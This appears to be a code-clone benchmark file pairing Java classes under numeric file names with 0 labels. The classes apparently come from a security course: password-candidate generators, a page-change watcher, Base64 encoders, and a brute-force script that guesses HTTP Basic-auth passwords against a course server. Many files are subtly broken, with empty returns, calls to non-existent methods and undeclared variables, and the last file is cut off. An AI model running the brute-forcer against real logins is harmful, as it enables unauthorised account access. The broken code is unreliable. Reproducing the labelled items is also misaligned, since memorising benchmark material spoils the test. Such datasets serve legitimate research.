String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
210.java | 207.java | 0 |
import java.io.*;
import java.util.*;
import java.*;
public class storeNewFile
{
private PrintWriter outputStream= null;
private String filename;
private FileWriter fw;
public storeNewFile(String fname)
{
try
{
filename = fname;
outputStream=new PrintWriter(new FileOutputStream(filename));
}
catch(FileNotFoundException e)
{
System.err.println("File "+filename+" was not found");
}
catch(IOException e)
{
System.err.println("Error ");
}
}
public void getStringW(StringWriter sw)
{
outputStream.print(sw.toString());
}
public void closeStream()
{
outputStream.write();
}
public void translogFile(String result)
{
String fileName = "TransactionLog.txt";
try{
fw=new FileWriter(fileName,true);
fw.write(result);
fw.write('\n');
fw.print();
System.out.println("Saved sucessfully");
}catch(IOException e){
System.out.println("Error saving the file");
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
200.java | 207.java | 0 |
import java.io.*;
import java.util.*;
public class Dog
{
public Dog()
{
Copier cop;
String[] myFiles;
File myDir = new File(".");
myFiles = myDir.list();
int flag = 0;
int j;
for(int i = 0;i < myFiles.length; i++)
{
j = myFiles[i].compareTo("oldCopy.html");
if( j == 0)
{
System.out.println(myFiles[i]+" "+j);
flag = 1;
break;
}
}
if( flag == 0)
cop = new Copier("oldCopy.html");
else
{
cop = new Copier("newCopy.html");
try
{
handleCompare();
}
catch( IOException e)
{
System.out.println("IOExeption "+e);
e.printStackTrace();
System.exit(0);
}
}
}
private void handleCompare() throws IOException
{
MailClient m;
File newFile = new File("newCopy.html");
File oldFile = new File("oldCopy.html");
String lineNew, lineOld;
LineNumberReader lnrNew, lnrOld;
Vector v = new Vector(10);
int flag = 0;
int comp;
lnrNew = new LineNumberReader( new FileReader( newFile));
lnrOld = new LineNumberReader( new FileReader( oldFile));
while(((lineNew = lnrNew.readLine()) != null) && ((lineOld = lnrOld.readLine()) != null))
{
comp = lineNew.compareTo( lineOld);
if( comp == 0)
continue;
else
{
flag = lnrNew.getLineNumber();
v.add( new Integer(flag));
}
}
if( v.size() != 0)
{
m = new MailClient("mail.cs.rmit.edu.", 25 );
v.connect();
}
lnrNew.print();
lnrOld.print();
oldFile.delete();
newFile.renameTo(oldFile);
}
public static void main (String[] args)
{
Dog pepa = new Dog();
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
041.java | 207.java | 0 |
public class Base64 {
static public char[] encode(byte[] data)
{
char[] out = new char[((data.length + 2) / 3) * 4];
for (int i=0, index=0; i<data.length; i+=3, index+=4) {
boolean quad = false;
boolean trip = false;
int bat = (0xFF & (int) data[i]);
bat <<= 8;
if ((i+1) < data.length) {
bat |= (0xFF & (int) data[i+1]);
trip = true;
}
bat <<= 8;
if ((i+2) < data.length) {
bat |= (0xFF & (int) data[i+2]);
quad = true;
}
out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+1] = alphabet[bat & 0x3F];
bat >>= 6;
out[index+0] = alphabet[ bat & 0x3F];
}
return out;
}
static public byte[] decode(char[] data)
{
int tempLen = data.length;
for( int ix=0; ix<data.length; ix++ )
{
if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
--tempLen;
}
int len = (tempLen / 4) * 3;
if ((tempLen % 4) == 3) len += 2;
if ((tempLen % 4) == 2) len += 1;
byte[] out = new byte[len];
int shift = 0;
int accum = 0;
int index = 0;
for (int ix=0; ix<data.length; ix++)
{
int value = (data[ix]>255)? -1: codes[ data[ix] ];
if ( value >= 0 )
{
accum <<= 6;
shift += 6;
accum |= value;
if ( shift >= 8 )
{
shift -= 8;
out[index++] =
(byte) ((accum >> shift) & 0xff);
}
}
}
if( index != out.length)
{
throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
}
return out;
}
static private char[] alphabet =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
.toCharArray();
static private byte[] codes = new byte[256];
static {
for (int i=0; i<256; i++) codes[i] = -1;
for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)( i - 'A');
for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
codes['+'] = 62;
codes['/'] = 63;
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
011.java | 207.java | 0 | import java.net.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
import java.security.*;
public class BruteForce {
public static BufferedReader in;
public static void main (String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES*1000*60;
boolean timedOut=false;
boolean found=false;
char[] letters={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
char[] lettersLC={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
char[] lettersUC={'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
while (found==false) {
String password = "";
URL url = new URL(baseURL);
String username="";
for (int i=0; i<letters.length; i++){
password = String.valueOf(letters[i]);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
i=letters.length;
}
}
if (!found) {
for (int j=0; j<letters.length; j++){
for (int k=0; k<letters.length; k++) {
String letter1=String.valueOf(letters[j]);
String letter2=String.valueOf(letters[k]);
password = letter1.concat(letter2);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=letters.length;
k=letters.length;
}
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersLC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersLC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersUC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersUC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersUC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersUC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersUC.length;
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersUC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersLC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersLC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersUC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (found){
System.out.println("Password is: "+password);
}
else {
found=true;
if (!timedOut){
System.out.println("Tried all combinations, still match.");
}
}
Date foundDate = new Date();
foundTime=foundDate.getTime();
foundTime=(foundTime-startTime);
System.out.println("Time taken was : "+foundTime+" milliseconds");
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
186.java | 207.java | 0 |
import java.io.*;
import java.text.MessageFormat;
import java.util.ResourceBundle;
import java.util.Locale;
public class MyBase64 {
private static final int END_OF_INPUT = -1;
private static final int NON_BASE_64 = -1;
private static final int NON_BASE_64_WHITESPACE = -2;
private static final int NON_BASE_64_PADDING = -3;
public MyBase64(){
}
protected static final byte[] base64Chars = {
'A','B','C','D','E','F','G','H',
'I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X',
'Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n',
'o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3',
'4','5','6','7','8','9','+','/',
};
protected static final byte[] reverseBase64Chars = new byte[0x100];
static {
for (int i=0; i<reverseBase64Chars.length; i++){
reverseBase64Chars[i] = NON_BASE_64;
}
for (byte i=0; i < base64Chars.length; i++){
reverseBase64Chars[base64Chars[i]] = i;
}
reverseBase64Chars[' '] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\n'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\r'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\t'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\f'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['='] = NON_BASE_64_PADDING;
}
public static final String version = "1.2";
public static String encode(String string){
return new String(encode(string.getBytes()));
}
public static String encode(String string, String enc) throws UnsupportedEncodingException {
return new String(encode(string.getBytes(enc)), enc);
}
public static byte[] encode(byte[] bytes){
ByteArrayInputStream in = new ByteArrayInputStream(bytes);
int mod;
int length = bytes.length;
if ((mod = length % 3) != 0){
length += 3 - mod;
}
length = length * 4 / 3;
ByteArrayOutputStream out = new ByteArrayOutputStream(length);
try {
encode(in, out, false);
} catch (IOException x){
throw new RuntimeException(x);
}
return out.toByteArray();
}
public static void encode(File fIn) throws IOException {
}
public static void encode(File fIn, boolean lineBreaks) throws IOException {
}
public static void encode(File fIn, File fOut) throws IOException {
}
public static void encode(InputStream in, OutputStream out) throws IOException {
encode(in, out, true);
}
public static void encode(InputStream in, OutputStream out, boolean lineBreaks) throws IOException {
int[] inBuffer = new int[3];
int lineCount = 0;
boolean cond = false;
while (!cond && (inBuffer[0] = in.read()) != END_OF_INPUT){
inBuffer[1] = in.read();
inBuffer[2] = in.read();
out.write(base64Chars[ inBuffer[0] >> 2 ]);
if (inBuffer[1] != END_OF_INPUT){
out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
if (inBuffer[2] != END_OF_INPUT){
out.write(base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
out.write(base64Chars [inBuffer[2] & 0x3F]);
} else {
out.write(base64Chars [((inBuffer[1] << 2) & 0x3c)]);
out.write('=');
cond = true;
}
} else {
out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
out.write('=');
out.write('=');
cond = true;
